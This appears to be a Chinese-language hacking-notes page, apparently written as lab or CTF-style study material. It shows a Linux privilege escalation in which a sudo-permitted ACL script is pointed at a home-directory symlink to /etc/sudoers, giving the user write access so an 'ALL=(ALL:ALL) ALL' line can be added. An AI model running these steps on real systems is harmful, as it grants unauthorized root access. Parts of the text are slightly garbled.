> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md).
# Sudo ACL/符号链接 - Linux 权限提升
Sudo ACL / 符号链接 Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo ACL / 符号链接** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
运行 `sudo -l` 命令后，我们发现我们可以作为 **root**.
```bash
sudo -l
```
这个 Bash 脚本在检查路径有效性且目标是文件后，使用 ACL 修改特定文件上的用户访问权限。
最后，让我们授予 mtz 用户对该文件的读写权限
```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```
出现错误，因为文件必须位于我们的 `/home/mtz` 目录
要解决这个绕过问题，可以创建一个从系统文件指向 `/home/mtz/` 目录的符号链接，并在该链接上运行脚本。
```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```
我们需要修改文件“suders/ link”，这将更新 sudoers 文件，以赋予 mtz 用户所有权限。
```bash
mtz ALL=(ALL:ALL) ALL
```
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